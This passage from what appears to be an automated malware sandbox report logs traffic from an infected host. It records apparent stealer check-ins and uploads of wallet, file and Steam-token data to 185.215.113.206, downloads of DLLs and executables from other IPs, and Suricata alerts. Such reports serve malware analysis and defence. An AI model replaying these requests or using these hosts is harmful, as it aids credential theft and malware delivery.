6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="file"------EHDBGDHDAECBGDHJKFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file"------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"wallets------GHDHDGHJEBGIDGDGIJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="message"files------DHCGIDHDAKJECBFHCBAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file"------JJDGIIDHJEBGIDHJJDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 2d 2d 0d 0a Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="message"ybncbhylepme------HJDAKFBFBFBAAAAAEBKJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /GuidanceConnectors.exe HTTP/1.1Host: 150.241.91.218
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007643001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007657001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007658001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007659001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="build"mars------EHCAEGDHJKFHJKFIJKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007660001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="build"mars------KEHDBAEGIIIEBGCAAFHI--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49756 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49761 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50033 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50031 -> 150.241.91.218:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50038 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50040 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50043 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50045 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50047 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50048 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50049 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50051 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50053 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_0091BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

13_2_0091BE30

